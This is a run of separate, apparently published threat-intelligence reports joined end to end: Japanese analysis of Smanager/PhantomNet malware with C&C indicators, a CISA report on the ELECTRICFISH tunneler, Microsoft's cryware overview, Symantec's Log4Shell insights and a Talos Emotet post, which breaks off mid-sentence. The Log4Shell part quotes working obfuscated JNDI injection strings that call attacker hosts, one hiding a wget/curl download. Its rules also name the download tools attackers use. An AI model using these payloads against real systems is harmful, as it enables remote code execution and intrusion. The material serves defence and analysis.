Interfaceを利用して、認証や通信の暗号化を行っています。 C&Cサーバーとのコネクション確立後、C&Cサーバーから受信したデータに応じてコマンドを実行します。実装されているコマンドとしては、感染端末の情報をC&Cサーバーに送信するコマンドや実行形式のファイルをダウンロードして実行するコマンドを確認しています。 感染端末の情報を収集するコマンドでは、下記の情報を収集していることが判明しています。 - コンピューター名 - ホスト名 - IPアドレス - OSバージョン - 言語情報 - ユーザー名 - デフォルトブラウザ - 管理者権限の有無 Smanager_ssl.dllがC&Cサーバーから実行形式のファイルをダウンロードする挙動については観測できていませんが、MZヘッダとPEヘッダの有無を確認する処理や、実行形式のファイルの関数を呼び出す処理が確認されていることから、実行形式のファイルをダウンロードして実行するコマンドが実装されていると考えています。 Smanager_ssl.dllはC&Cサーバーから受信したデータに応じたコマンドを実行するため、RATの機能を持つTmangerのClientに相当する検体であると解釈することもできます。しかし、私達は下記の理由から、Smanager_ssl.dllはMlloadDllに相当する検体であると考えています。また、Smanager_ssl.dllがダウンロードして実行する検体が、RATとしての機能を有した、TmangerのClientに相当する検体だと推測しています。 - TmangerやAlbaniiutasのMlloadDllと同じく、EnteryというExport関数が存在する - コマンド数が少なく、感染端末を操作するようなコマンドが実装されていない - 実行形式のファイルを実行するという部分がMlloadDllの役割と一致している - 実行形式のファイルから関数を呼び出す処理が他のMlloadDllと類似しており、特にAlbaniiutasのMlloadDllに相当する検体については同じGetPluginObjectという名前の関数を呼び出している ## Smanagerx64_release_tcp.dll 私達はVVSup.exeとSACEventLog.exe以外に、Smanagerx64_release_tcp.dllというファイルも発見しました。この検体はSmanager_ssl.dllと挙動が似ており、C&Cサーバーから受信したデータに応じて、感染端末の情報をC&Cサーバーに送信するコマンドや実行形式のファイルをダウンロードして実行するコマンドを実行します。また、EnteryやServiceMainというExport関数が実装されているという特徴もSmanager_ssl.dllと共通であり、Smanager_ssl.dllと同様の手法で実行されると考えています。しかし、Smanager_ssl.dllと違い、Microsoft Security Service Provider Interfaceを用いた、通信の認証や暗号化といった処理は実装されていませんでした。Smanagerx64_release_tcp.dllのConfigは以下のとおりです。 - coms.documentmeda[.]com:443 - f4f5276c00001ff5 ## TmangerおよびAlbaniiutasとの比較 私達はTmangerをベースに、AlbaniiutasとSmanagerについて情報を整理しました。これらには以下のような特徴があります。 Tmanger、Albaniiutas、Smanagerは共にSetup、MlloadDll、Clientという役割を持った検体から構成されており、Setup、MlloadDllについては3者の間で共通点が複数存在していることが分かっています(SmanagerのClientに相当する検体は観測できていません)。特に、TmangerとAlbaniiutasは、未来のコンパイル時間が設定されている点や、PDBパスに共通点があるなど、特徴的な類似点をいくつも確認しています。TmangerとAlbaniiutasのタイムスタンプを見てみると、Albaniiutasのほうが4カ月ほど新しいことが分かります。このことから、私たちはAlbaniiutasが最新版のTmanger、あるいはTmangerの後継であると考えています。 次に、Smanagerについてですが、AlbaniiutasとSmanagerの間にもいくつかの類似点があります。例えば、Export関数名や暗号鍵の特徴は偶然一致するものではありません。コンパイル時間を基に推測すると、SmanagerはTmangerとAlbaniiutasの間に作成されたものであると考えられます。ただし、標的国については3者間で違いがあり、TmangerやAlbaniiutasは東アジアの国々に対して使用されていると考えられますが、Smanagerのほとんどはベトナムからオンラインサービスに投稿されています。 しばしば他のグループと混同されがちですが、TA428はロシアやモンゴルなどの東アジアの国々を標的としているとされています。ベトナムなどの東南アジアを標的とする類似グループとしては、KeyBoy、Tropic Trooper、BRONZE HOBART、Pirate Panda、あるいはTA413と呼ばれているグループが挙げられます。SmanagerはTA428ではなくそうしたグループによって使用された可能性もあります。しかし、残念ながらその明確な証拠を示すことはできません。あくまで推測の域を出ません。 以上のことから、私たちはSmanagerをTmangerの亜種、あるいは関連性のあるマルウェアであると考えます。類似の特徴から考察すると、SmanagerはTmangerと同一の人物・組織によって開発された、あるいはTmangerを参考に開発されたかもしれません。 ## PhantomNetとの関連性 私達はSmanagerに関連するマルウェアについて、さらにリサーチを行いました。SmanagerはC&Cサーバーから実行可能ファイルをダウンロードし、ロードする機能を有していますが、この際に使われるGetPluginInformationやGetPluginObject、GetRegisterCode、DeletePluginObjectといった特徴的な文字列をもとに関連検体を探してみると、いくつかのファイルを発見することができました。これらのファイルはPhantomNetというPDBを含んでいたことから、以下ではPhantomNetと呼びます。 私達が発見したPhantomNetの中で最も古いものは2017年3月にVirusTotalに投稿されており、その時点で既に開発されていたと考えられます。PhantomNetはSmanagerと同様にTCP版とSSL版の2種類が存在しますが、両者にはC&Cサーバーとの通信時のプロトコル以外には大きな差はありません。 具体的な攻撃事例についてみてみましょう。リサーチの結果、私達は「A Letter of Complaint.docx」というドキュメントファイルを発見しました。このドキュメントファイルは2020年6月に作成されたもので、香港の裁判所に関する内容を含んでおり、香港の司法関係組織を標的としていると考えられます。 このドキュメントファイルには悪性コードが含まれており、SCTファイルをダウンロードし、実行してしまいます。SCTファイルにはVBScriptコードが含まれており、最終的にwinhepp.exeというファイルをダウンロードして実行しました。 winhepp.exeにはPDBパスが残されており、これがPhantomNet-TCPのバージョン3.1であることが分かります。私達は他にもいくつかのPhantomNetを発見しましたが、そのほとんどがバージョン3や3.1でした。これはTCP版でもSSL版でも共通しています。 PhantomNetの挙動はTmangerやSmanagerと類似しています。例えば、PhantomNetがCreateEventする際のイベント名はTmangerと共通していますし、PhantomNetとSmanagerはコマンド処理を含めほとんどの実装が極めて類似しています。例として、C&Cサーバーからのコマンドが0x110040だった場合の処理を見てみましょう。両者がほぼ同一の実装であることが分かります。 さらにPhantomNetについてリサーチを続けていると、興味深い情報を2つ発見しました。1つ目は、PhantomNetとFunnyDreamの関係性です。私達はFunnyDreamについても調査を行っていますが、FunnyDreamが使用するFunnyDream backdoorだと思われるhelper.exeという検体がPhantomNetをダウンロードして実行したかもしれないという情報を手に入れました。 FunnyDreamは主に東南アジアの国々に対して攻撃を行っており、中国に帰属すると考えられている攻撃グループです。FunnyDreamはTA428と同様にRoyal Road RTF Weaponizerを共有していることが知られており、TA428とSmanagerおよびPhantomNetの共有を行っている可能性が考えられます。Smanagerがベトナムに対する攻撃で使用された可能性が高いという点でも、FunnyDreamとの関連は不思議ではありません。 2つ目に、いくつかのPhantomNetは起動時にGlobal\\GlobalAcProtectMutexというMutexを作成します。これは過去にPalo Alto Networksによって報告されたBBSRATの特徴と類似しています。 Palo Alto Networksの報告によると、BBSRATはRoaming Tigerと関連しているとされており、ロシアやモンゴルなどの東アジアの国々を標的とする攻撃で使用されていたようです。他にもRTFファイルを用いて脆弱性を悪用すること、CABファイルを用いること、サブコマンドを用いること、Export関数名などが類似しています。 特にExport関数は興味深い類似点です。BBSRATがrundll32.exeによって起動されるとき、EnterというExport関数が指定される場合がありますが、これはSmanagerやTmangerで使用される特徴的なExport関数であるEnteryとの関連が疑われます。これらのことから、SmanagerおよびPhantomNetはRoaming TigerのBBSRATと関連している可能性があると考えられます。 この数日の間に、AvastおよびESETからTmangerファミリに関するブログが公開されました。そこでは特にTmangerとAlbaniiutasについて、私達が観測したものとは異なる経路でモンゴルの政府機関などを標的としていたことが報告されています。その際、LuckyMouseやShadowPadとの関連性が示されています。今回、私達はTmangerファミリがFunnyDreamやRoaming Tigerと関連している可能性について示しました。これらのことは、中国に帰属すると考えられているこれらのグループが同一あるいは極めて近しい関係であり、Royal Road RTF WeaponizerのようにTmangerファミリも共有されている可能性が高いことを示唆しています。 ## さいごに 今回はTmangerに関連するマルウェアとしてSmanagerを紹介しました。SmanagerはTmangerとAlbaniiutasのどちらにも類似した特徴も持ち、同一の人物・組織によって開発された可能性があります。TmangerやAlbaniiutasとは異なり、東南アジア(特にベトナム)の組織に対する攻撃で使用された可能性があります。 Tmangerおよび関連マルウェアは日々開発が続けられており、今後も攻撃に利用される可能性があります。2020年11月にはTmanger v6.2と、そのビルダーの存在を観測しています。Tmanger v6.2はこれまでのTmangerよりもAlbaniiutasに類似しており、現在でも継続的に開発が続いていることが伺えます。今後もTmangerの動向に注視すべきでしょう。 ## IOC ### C&C Server - vgca.homeunix[.]org - office365.blogdns[.]com - coms.documentmeda[.]com - freenow.chickenkiller[.]com - www.eofficeupdating[.]com - 154[.]210.12.20 - 45[.]77.45.228 ### File Hash SHA256 - f659b269fbe4128588f7a2fa4d6022cc74e508d28eee05c5aff26cc23b7bd1a5 - 1d9bc6939e2eceb3e912f158e05e04cadc1965849c4eb2c96e37e51a7d4f7aa5 - 97a5fe1d2174e9d34cee8c1d6751bf01f99d8f40b1ae0bce205b8f2f0483225c - 02f1244310dd527d407ebcef07c5431306c56c1b28272b8d4e59902b3df537c8 - c129d892a5e2d17c38950fdf77a0838edc1fa297a4787414e90906f7cb8f43b8 - 1fff4faa83678564aefb30363f0cbe2917d2a037d3d8e829a496e8fd1eca24c9 - 58012504861dee4663ecaa4f2b93ca245521103f4c653b2dd0032a583db8f0af - 17bc9b7c7df4acd42e795591731e568cb040d6908d892f853af777d5f05c8806 - 338502691f6861ae54e651a25a08e62eeca9febc6830978a670d44caf3d5d056 - d5f96b3b677ac68e45d4297e392b14a52678c2758a4030d2f6ad158027508c6d - 00badf016953ec740b61f4ba27c5886a6460f6abba98819e00bde51574e0ebf4 - e8156ec1706716cada6f57b6b8ccc9fb0eb5debe906ac45bdc2b26099695b8f5 - feaba29072531b312e3bd0152b9c17c48901db7c8d31019944e453ca9b1572e2 ## 参考文献 1. NTT Security Japan, Panda’s New Arsenal: Part 1 Tmanger 2. NTT Security Japan, Panda’s New Arsenal: Part 2 Albaniiutas 3. Microsoft, Security Support Providers (SSPs) 4. BitDefender, Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions 5. Palo Alto Networks, BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger 6. Palo Alto Networks, Digital Quartermaster Scenario Demonstrated in Attacks Against the Mongolian Government 7. Avast, APT Group Targeting Governmental Agencies in East Asia 8. ESET, Operation StealthyTrident: corporate software under attack
# MAR-10135536-21 – North Korean Tunneling Tool: ELECTRICFISH **Notification** This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise. This document is marked TLP:WHITE—Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be shared without restriction. **Summary** This Malware Analysis Report (MAR) is the result of analytic efforts between DHS and the Federal Bureau of Investigation (FBI). Working with U.S. partners, DHS and FBI identified a malware variant used by the North Korean government. This malware has been identified as ELECTRICFISH. The government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. DHS and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity. This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions, and recommended mitigation techniques. System administrators should flag activity associated with the malware and report the activity to the Cybersecurity and Infrastructure Security Agency (CISA) Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation. This report provides analysis of one malicious 32-bit Windows executable file. The malware implements a custom protocol that allows traffic to be tunneled between a source and a destination Internet Protocol (IP) address. The malware continuously attempts to reach out to the source and the designated destination, which allows either side to initiate a tunneling session. The malware can be configured with a proxy server/port and proxy username and password, which allows connectivity to a system sitting inside of a proxy server, enabling the actor to bypass the compromised system’s required authentication outside of the network. **Submitted Files (1)** - a1260fd3e9221d1bc5b9ece6e7a5a98669c79e124453f2ac58625085759ed3bb **Findings** - **Name:** a1260fd3e9221d1bc5b9ece6e7a5a98669c79e124453f2ac58625085759ed3bb - **Size:** 1422336 bytes - **Type:** PE32 executable (GUI) Intel 80386, for MS Windows - **MD5:** 8d9123cd2648020292b5c35edc9ae22e - **SHA1:** 0939363ff55d914e92635e5f693099fb28047602 - **SHA256:** a1260fd3e9221d1bc5b9ece6e7a5a98669c79e124453f2ac58625085759ed3bb - **SHA512:** 646697e3d5146e05a221183f6c9f00f5eb38400ef9a2f83bfd0fcf2f8af1a7efff99c0a3486740c745ce6cf0939c4f0678cb818cbbff8ed2b28a - **ssdeep:** 24576:HsO8RKL6OLnWZGFbHq0aMow5Q3gkD/74tU3hYPgP5IyrMsEOhVRpxHkADUHEPbzJ:0KjKHMbO3pkoBIyIstVRpxHL1bF - **Entropy:** 6.703195 **Antivirus** - **BitDefender:** Gen:Variant.Ursu.349885 Unclassified - **Emsisoft:** Gen:Variant.Ursu.349885 (B) **Yara Rules** No matches found. **ssdeep Matches** No matches found. **PE Metadata** - **Compile Date:** 2018-09-29 11:55:36-04:00 - **Import Hash:** 3549cfa19e60aa9239f79d80e19279fa **PE Sections** | MD5 | Name | Raw Size | Entropy | |---------------------------------------|--------|----------|------------| | 08bb17d8e839e7fc92426e813a696e73 | header | 1024 | 2.590786 | | 6c3daca3c522ab98a8ac12a45087297c | .text | 983040 | 6.595856 | | 3d3d7962d16652002018640a3fa27d44 | .rdata | 340480 | 6.187858 | | b7f382ea7e6c9c8e737cb92551341e64 | .data | 37888 | 4.714377 | | 871fb8486e5ea3307ff7b65ddf46518a | .rsrc | 512 | 5.112624 | | 382715f8e776a544bf70f843a52e3ff2 | .reloc | 59392 | 6.015022 | **Packers/Compilers/Cryptors** Microsoft Visual C++ ?.? **Process List** | Process | PID | PPID | |-------------------------------------------------------------------------------------------------------|------|------| | lsass.exe | 488 | 384 | | a1260fd3e9221d1bc5b9ece6e7a5a98669c79e124453f2ac58625085759ed3bb.exe | 3052 | 3024 | **Description** This file is a malicious Windows 32-bit executable. The application is a command-line utility and its primary purpose is to tunnel traffic between two machines. The application accepts command-line arguments allowing it to be configured with a destination IP address and port, a source IP address and port, and a user name and password, which can be utilized to authenticate with a proxy server. It will attempt to establish TCP sessions between the source IP address and the destination IP address. If a connection is made to both the source and destination IPs, this malicious utility will implement a protocol, which will allow traffic to rapidly and efficiently be tunneled between two machines. If necessary, the malware can authenticate with a proxy to reach the destination IP address. A configured proxy server is not required for this utility. **Example Usage** ``` Source IP/Port: 192.0.2.1:92 Dest IP/Port: 198.51.100.1:92 Proxy IP/Port: 203.0.113.1:92 Proxy User Name: test Proxy Password: testpw a12.exe -s 192.0.2.1:92 -d 198.51.100.1:92 -p 203.0.113.1:92 -u test -pw testpw ``` After the malware authenticates with the configured proxy, it will immediately attempt to establish a session with the destination IP address, locate the target network and the source IP address. The header of the initial authentication packet, sent to both the source and destination systems, will be two random bytes. Everything within this 34-byte header is static except for the bytes 0X2B6E, which will change during each connection attempt. **Authentication Packet Sent to Destination System** ``` 6161616162626262636363636464646400000000000000002B6E0000040000009210 ``` **Recommendations** CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organizations. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts. - Maintain up-to-date antivirus signatures and engines. - Keep operating system patches up-to-date. - Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication. - Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless necessary. - Enforce a strong password policy and implement regular password changes. - Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known. - Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests. - Disable unnecessary services on agency workstations and servers. - Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file type). - Monitor users' web browsing habits; restrict access to sites with unfavorable content. - Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.). - Scan all software downloaded from the Internet prior to executing. - Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs). Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops". **Contact Information** CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the provided URL. **Document FAQ** - **What is a MIFR?** A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most cases, the report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis. - **What is a MAR?** A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis. - **Can I edit this document?** This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to CISA at 1-888-282-0870 or [email protected]. - **Can I submit malware to CISA?** Malware samples can be submitted via three methods: - Web: https://malware.us-cert.gov - E-Mail: [email protected] - FTP: ftp.malware.us-cert.gov (anonymous) CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing scams. Reporting forms can be found on CISA's homepage. **Revisions** - May 9, 2019: Initial version - May 14, 2019: Updated IOCs
# In Hot Pursuit of ‘Cryware’: Defending Hot Wallets from Attacks The steep rise in cryptocurrency market capitalization mirrors a marked increase in threats and attacks that target or leverage cryptocurrencies. Microsoft researchers are observing an interesting trend: the evolution of related malware and the emergence of a threat type referred to as cryware. Cryware are information stealers that collect and exfiltrate data directly from non-custodial cryptocurrency wallets, also known as hot wallets. Because hot wallets, unlike custodial wallets, are stored locally on a device and provide easier access to cryptographic keys needed to perform transactions, more threats are targeting them. Cryware signifies a shift in the use of cryptocurrencies in attacks: no longer as a means to an end but the end itself. Before cryware, the role of cryptocurrencies in an attack varied depending on the attacker’s overall intent. For example, some ransomware campaigns prefer cryptocurrency as a ransom payment, requiring the target user to manually do the transfer. Meanwhile, cryptojackers try to mine cryptocurrencies on their own, but such a technique is heavily dependent on the target device’s resources and capabilities. With cryware, attackers who gain access to hot wallet data can quickly transfer the target’s cryptocurrencies to their own wallets. Unfortunately for users, such theft is irreversible: blockchain transactions are final even if made without a user’s consent or knowledge. Unlike credit cards and other financial transactions, there are currently no available mechanisms to help reverse fraudulent cryptocurrency transactions or protect users from such. To find hot wallet data such as private keys, seed phrases, and wallet addresses, attackers could use regular expressions (regexes), given how these typically follow a pattern of words or characters. The attack types and techniques that attempt to steal this wallet data include clipping and switching, memory dumping, phishing, and scams. As cryptocurrency investing continues to reach wider audiences, users should be aware of the different ways attackers attempt to compromise hot wallets. They also need to protect these wallets and their devices using security solutions like Microsoft Defender Antivirus, which detects and blocks cryware and other malicious files, and Microsoft Defender SmartScreen, which blocks access to cryware-related websites. For organizations, data and signals from these solutions feed into Microsoft 365 Defender, providing comprehensive and coordinated defense against threats. ## From Cryptojackers to Cryware: The Growth and Evolution of Cryptocurrency-Related Malware The emergence and boom of cryptocurrency allowed existing threats to evolve their techniques to target or abuse cryptocurrency tokens. The threats that currently leverage cryptocurrency include: - **Cryptojackers**: Mining malware that hijacks and consumes a target’s device resources without the user’s knowledge or consent. Millions of cryptojacker encounters were reported in the last year. - **Ransomware**: Some threat actors prefer cryptocurrency for ransom payments because it provides transaction anonymity, reducing the chances of being discovered. - **Password and Info Stealers**: Many info stealers are now adding hot wallet data to the list of information they search for and exfiltrate. - **ClipBanker Trojans**: This malware checks the user’s clipboard and steals banking information or other sensitive data, now expanding to include cryptocurrency addresses. The increasing popularity of cryptocurrency has led to the emergence of cryware like Mars Stealer and RedLine Stealer, which aim to steal cryptocurrencies through wallet data theft, clipboard manipulation, phishing, and scams. Cryware could cause severe financial impact because transactions can’t be changed once they’re added to the blockchain. For example, in 2021, a user lost USD78,000 worth of Ethereum because they stored their wallet seed phrase in an insecure location. An attacker likely gained access to the target’s device and installed cryware that discovered the sensitive data. With the growing popularity of cryptocurrency, the impact of cryware threats has become more significant. Campaigns that previously deployed ransomware are now using cryware to steal cryptocurrency funds directly from targeted devices. Users and organizations must learn how to protect their hot wallets to ensure their cryptocurrencies don’t end up in someone else’s pockets. ## Hot Wallet Attack Surfaces To better protect their hot wallets, users must first understand the different attack surfaces that cryware and related threats commonly exploit. ### Hot Wallet Data During the creation of a new hot wallet, the user is given the following wallet data: - **Private Key**: Required to access the hot wallet, sign or authorize transactions, and send cryptocurrencies to other wallet addresses. - **Seed Phrase**: A mnemonic phrase representing the private key, easier to remember. Bitcoin Improvement Proposal: 39 (BIP39) is the most common standard used to generate seed phrases consisting of 12-14 words. - **Public Key**: The public address of the wallet that users must enter as the destination address when sending funds. - **Wallet Password (Optional)**: A standard user account password that some wallet applications offer as an additional protection layer. Attackers try to identify and exfiltrate sensitive wallet data from a target device. Once they have located the private key or seed phrase, they could create a new transaction and send the funds from inside the target’s wallet to an address they own. This transaction is then published to the blockchain, and once completed, the target won’t be able to retrieve their funds. To locate and identify sensitive wallet data, attackers could use regexes, which are strings of characters and symbols that match certain text patterns. ### Cryware Attack Scenarios and Examples Once sensitive wallet data has been identified, attackers could use various techniques to obtain them or use them to their advantage. Below are some examples of different cryware attack scenarios: - **Clipping and Switching**: A cryware monitors the contents of a user’s clipboard and uses string search patterns to look for a hot wallet address. If the target user pastes or uses CTRL + V, the cryware replaces the clipboard content with the attacker’s address. - **Memory Dumping**: This technique takes advantage of user interactions with their hot wallet that could display the private keys in plaintext. This critical information might remain in the memory of a browser process, allowing an attacker to dump the browser process and obtain the private key. - **Wallet File Theft**: Attackers target the wallet application’s storage files. They traverse the target user’s filesystem, determine which wallet apps are installed, and exfiltrate a predefined list of wallet files. - **Keylogging**: Keylogging cryware runs in the background of an affected device and logs keystrokes entered by the user, sending the data to an attacker-controlled server. - **Phishing Sites and Fake Applications**: Attackers create malicious applications that spoof legitimate hot wallets, tricking users into entering their private keys. - **Scams and Other Social Engineering Tactics**: Cryptocurrency-related scams lure victims into sending funds voluntarily, often using prominent social media personalities to endorse a platform. ## Defending Against Cryware Cryptocurrency crime has reached an all-time high, with over USD10 billion worth of cryptocurrencies associated with ransomware and theft. Users and organizations must note the multiple ways they can protect themselves and their wallets. They should have a security solution that provides multiple layers of dynamic protection technologies. Microsoft Defender Antivirus offers such protection, detecting and blocking many cryware, cryptojackers, and other cryptocurrency-related threats. Microsoft Defender SmartScreen blocks phishing sites and prevents downloading of fake apps and other malware. Users and organizations can also take the following steps to defend against cryware and other hot wallet attacks: - Lock hot wallets when not actively trading. - Disconnect sites connected to the wallet when not in use. - Refrain from storing private keys in plaintext. - Be attentive when copying and pasting information. - Ensure that browser sessions are terminated after every transaction. - Consider using wallets that implement multifactor authentication (MFA). - Be wary of links to wallet websites and applications. - Double-check hot wallet transactions and approvals. - Never share private keys or seed phrases. - Use a hardware wallet unless it needs to be actively connected to a device. - Reveal file extensions of downloaded and saved files. Learn how you can stop attacks through automated, cross-domain security with Microsoft 365 Defender. *Berman Enconado and Laurie Kirk* *Microsoft 365 Defender Research Team*
# Log4j Vulnerabilities: Attack Insights **Siddhesh Chandrayan** Threat Analysis Engineer Apache Log4j is a Java-based logging utility. The library’s main role is to log information related to security and performance to make error debugging easier and to enable applications to run smoothly. The library is part of the Apache Logging Services, a project of the Apache Software Foundation. Log4j has been making headlines recently after the public disclosure of three critical vulnerabilities in the utility which can lead to remote code execution (CVE-2021-44228 and CVE-2021-45046) and denial of service (CVE-2021-45105). The initial remote code execution vulnerability (CVE-2021-44228) has been dubbed Log4Shell and has dominated cyber-security news ever since it was publicly disclosed on December 9. The vulnerability has been exploited to deploy a plethora of payloads like coin miners, Dridex malware, and even ransomware such as Conti. ## Variations in attacks Symantec, a division of Broadcom Software, has observed numerous variations in attack requests primarily aimed at evading detection. Some sample attack requests can be seen below: - `${jndi:ldap://:1389/Exploit}` - `${jndi:dns://MASKED_IP.1/securityscan-http8085}` - `${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//MASKED_IP:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1}` - `${${lower:${lower:jndi}}:${lower:rmi}://MASKED_IP:1389/Binary}` - `${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://MASKED_IP:1389/Binary}` - `${${::-j}${::-n}d${::-i}:${::-l}${::-d}${::-a}${::-p}://${::-1}${::-5}${::-9}.${::-2}${::-2}MASKED_IP:44${::-3}/${::-o}=${::-t}omca${::-t}}` Attackers are predominantly using the LDAP and RMI protocols to download malicious payloads. We have also recorded vulnerability scans using protocols such as IIOP, DNS, HTTP, NIS, etc. ## Payloads **Muhstik Botnet** - We have observed attackers downloading malicious Java class files as a part of Log4Shell exploitation. The malicious class file downloads a shell file. The shell script attempts to download Executable and Linkable Format (ELF) files and execute them, which leads to the installation of the Muhstik botnet. **XMRig miner** - We have also observed attackers installing the XMRig cryptocurrency miner as a part of post-exploitation activity related to Log4Shell exploitation. The miner is downloaded via a simple PowerShell command. The miner is executed with a specific command. **Malicious class file backdoor** - We have also seen attacks attempt to download a malicious Java class file that acts as a backdoor. The class file has code to listen for and execute commands from the attacker. **Reverse Bash shell** – Attackers were also observed deploying reverse shells on vulnerable machines. Other publicly reported payloads include the Khonsari and Conti ransomware threats, the Orcus remote access Trojan (RAT), and the Dridex malware, among others. ## Symantec IPS data For the period between December 9 (when the first Log4j vulnerability was disclosed) and December 21, Symantec’s Intrusion Prevention System (IPS) blocked more than 93 million Log4Shell related exploitation attempts on more than 270,000 unique machines. During the same time frame, IPS blocked more than 18 million Log4Shell related exploitation attempts on more than 60,000 unique server machines. The majority of Log4Shell attacks blocked by Symantec were against machines located in the U.S. and the United Kingdom, followed by Singapore, India, and Australia. Meanwhile, the majority of attacks exploiting the Log4j vulnerabilities seem to originate from devices located in the U.S. and Germany, followed by Russia, the United Kingdom, and China. ## Protection **Behavior-based** - SONAR.Maljava!g7 - SONAR.Ransomware!g1 - SONAR.Ransomware!g31 - SONAR.Ransomware!g32 - SONAR.SuspLaunch!g184 - SONAR.SuspLaunch!g185 **File-based** - CL.Suspexec!gen106 - CL.Suspexec!gen107 - CL.Suspexec!gen108 - Linux.Kaiten - Miner.XMRig!gen2 - Ransom.Khonsari - Ransom.Tellyouthepass - Ransom.Tellyouthepa!g1 - Ransom.Tellyouthepa!g2 - Trojan Horse - Trojan.Maljava **Machine learning-based** - Heur.AdvML.C **Network-based** - Audit: Suspicious Java Class File Executing Arbitrary Commands - Audit: Log4j2 RCE CVE-2021-44228 - Audit: Malicious LDAP Response - Attack: Log4j2 RCE CVE-2021-44228 - Attack: Malicious LDAP Response - Attack: Log4j2 RCE CVE-2021-44228 - Attack: Log4j CVE-2021-45046 - Attack: Log4j CVE-2021-45105 - Web Attack: Malicious Java Payload Download 2 - Web Attack: Malicious Java Payload Download 3 - Web Attack: Malicious Java Payload Download 4 **Policy-based** DCS provides multi-layered protection for Windows, Linux Server workloads, and container applications for this vulnerability: - Suspicious Process Execution: Prevention policies prevent malware from being dropped or executed on the system. DCS hardened Linux servers prevent execution of malware from temp or other writable locations, a technique used by attackers to drop crypto miners such as XMRig in reported Log4Shell exploitation. - Review the Linux proxy execution list for your Log4j-based application sandbox to include additional tools such as */curl, */wget. These tools are used by attackers to connect from the victim Log4j application to external command-and-control servers for downloading additional payloads. - DCS sandboxing of Windows and Linux applications prevent suspicious program execution using living-off-the-land tools and tampering of critical system services and resources. - Network Control: Ability to block outgoing connections to public internet and limit required LDAP, HTTP, and other traffic from server workloads and containerized applications using Log4j2 to internal trusted systems. - Detection Policies: System Attack detection: Baseline_WebAttackDetection_Generic_MaliciousUserAgent rule should be updated to include *jndi:* select string to alert on malicious server requests using the suspicious jndi lookup attempts via jndi:ldap, jndi:rmi, jndi:dns, etc. Make sure to set the path to your web server access log file in the IDS Web Attack Detection option. Similar custom text log rules should be added for each of your Log4j application log files. ## About the Author **Siddhesh Chandrayan** Threat Analysis Engineer Siddhesh works for the Intrusion Prevention System (IPS) team in Symantec's Security Technology and Response (STAR) division. He analyzes and creates IPS protection for various network-based threats such as exploit kits and tech support scams.
# Emotet Resumes Spam Operations, Switches to OneNote **By Edmund Brumaghin, Jaeson Schultz** **March 22, 2023** Emotet resumed spamming operations on March 7, 2023, after a months-long hiatus. Initially leveraging heavily padded Microsoft Word documents to attempt to evade sandbox analysis and endpoint protection, the botnets switched to distributing malicious OneNote documents on March 16. Since returning, Emotet has leveraged several distinct infection chains, indicating that they are modifying their approach based on their perceived success in infecting new systems. The initial emails delivered to victims are consistent with what has been observed from Emotet over the past several years. ## Initial Campaign Following its initial return to spamming operations, Emotet was leveraging heavily padded Microsoft Word documents in an attempt to evade detection. By leveraging a large number of inconsequential bytes in their documents, they could increase the size of the documents to surpass the maximum file size restrictions that automated analysis platforms like sandboxes and anti-virus scanning engines enforce. The initial emails were consistent with what has been commonly observed from Emotet in recent years. They typically contained an attached ZIP archive containing a Microsoft Word document. An example of one such email is shown below. While the ZIP archives are often small, in some cases only ~646KB, the Microsoft Word document when fully extracted was ~500MB in size. The document included a large number of 0x00 bytes, a technique commonly referred to as “padding.” Some of the documents also featured excerpts from the classic novel “Moby Dick,” another attempt to increase the size of the documents for evasion purposes. The Office documents featured templates consistent with those used by Emotet in the past. The Word documents in this campaign contained malicious VBA macros that, when executed, functioned as a malware downloader, retrieving the Emotet payload from attacker-controlled distribution servers and infecting systems, thus adding them to the Emotet botnets. ## Emotet Shifts to OneNote Microsoft recently deployed new security mechanisms around protecting endpoints from macro-based malware infections, which resulted in various threat actors moving away from Office document-based malspam campaigns. In many cases, these malware distribution campaigns switched to distributing OneNote documents instead, likely as a result of decreased infections and lower success rates. Emotet is no different — shortly after their return to spamming operations on March 16, 2023, they began distributing OneNote files, as well. In one example, the sender purported to be from the U.S. Internal Revenue Service (IRS) and requested that the recipient complete the attached form. The attached OneNote document featured templates similar to what has been observed in other Office document formats over the past several years, prompting the user to click inside the document to view the file. When clicked, an embedded WSF script linked behind the view button containing malicious VBScript code is executed. This VBScript downloader is responsible for retrieving the Emotet malware payload from an attacker-controlled server and infecting the system. More recently, the embedded object inside of the OneNote files contained JavaScript instead of VBScript but offered the same functionality within the infection chain. Hovering over the next button indicates that an object called “Object1.js” will execute when the button is clicked. This is because the attacker has embedded a clickable object behind the lure image. This object is a heavily 